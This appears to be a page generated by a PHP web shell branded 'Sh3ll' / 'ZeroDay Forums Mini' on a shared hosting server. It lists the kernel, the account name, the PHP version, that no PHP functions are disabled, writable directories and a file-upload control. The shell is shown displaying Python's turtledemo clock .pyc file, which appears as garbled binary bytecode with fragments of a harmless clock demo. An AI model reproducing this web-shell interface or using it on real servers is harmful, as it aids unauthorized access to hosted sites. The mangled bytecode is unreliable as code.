Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium163.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : infihsqw ( 644)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /lib64/python3.8/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python3.8/turtledemo/__pycache__/clock.cpython-38.pyc
U

e5d��@s�dZddlTddlmZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Zdd�Z	dd�Z
dd�Zedkr�e
d�e�Zee�e�dS)z�       turtle-example-suite:

             tdemo_clock.py

Enhanced clock-program, showing date
and time
  ------------------------------------
   Press STOP to exit the program!
  ------------------------------------
�)�*)�datetimecCs(t�t|�t|�t|�t�dS)N)Zpenup�right�forward�leftZpendown)ZdistanzZwinkel�r�(/usr/lib64/python3.8/turtledemo/clock.py�jumps
r	cCsXt|d�td�t|d�td�t|�td�t|�td�t|d�dS)Ngffffff�?�Zg@�x)�fd�rt�lt)�laenge�spitzerrr�handsrcCs>t�t|d�t�t||�t�t�}t||�dS)Ng333333�?)�resetr	Z
begin_polyrZend_polyZget_polyZregister_shape)�namerrZ	hand_formrrr�make_hand_shape"s
rcCsft�td�td�D]J}t|�|ddkrFtd�t|d�ntd�t|�td�qdS)N��<�r���)rZpensize�ranger	r�dotr
)Zradius�irrr�	clockface+s
rcCs�td�tddd�tddd�tddd�td	�t�at�d�t�d
d�t�at�d�t�dd
�t�at�d�t�dd�tttfD]&}|�	d�|�
ddd�|�d�q�t�t�a
t
��t
��t
�d�dS)N�logo�second_hand�}r�minute_hand��	hour_handr
�Zgray20Zgray80Zblue1Zred1Zblue3Zred3�user�rr�U)�moderrZTurtler �shapeZcolorr"r$Z
resizemodeZ	shapesizeZspeedZht�writerZpuZbk)rrrr�setup8s.



r,cCsdddddddg}||��S)NZMondayZTuesdayZ	WednesdayZThursdayZFridayZSaturdayZSunday)Zweekday)�t�	wochentagrrrr.Ss�r.cCsDddddddddd	d
ddg}|j}||jd
}|j}d|||fS)NzJan.zFeb.zMar.zApr.ZMayZJuneZJulyzAug.zSep.zOct.zNov.zDec.r'z%s %d %d)ZyearZmonthZday)�zZmonat�j�mr-rrr�datumXs�r2cCs�t��}|j|jd}|j|d}|j|d}z�td�t��t�	�t�
d�tjt|�ddd�t�
d�tjt|�ddd�t�
d	�td
�t�d|�t�d|�t�d|�td
�ttd
�Wntk
r�YnXdS)Ng���ư>gN@F�A�center)ZCourier�Zbold)ZalignZfont�r(Tr��d)rZtoday�secondZmicrosecond�minuteZhour�tracerr+�clear�homer�writer.Zbackr2r Z
setheadingr"r$Zontimer�tickZ
Terminator)r-Zsekunder:Zstunderrrr?`s6

�

�
r?cCs td�t�td�t�dS)NFTZ	EVENTLOOP)r;r,r?rrrr�mainys
r@�__main__rN)r)�__doc__Zturtlerr	rrrr,r.r2r?r@�__name__r)�msg�printZmainlooprrrr�<module>s 

	


ZeroDay Forums Mini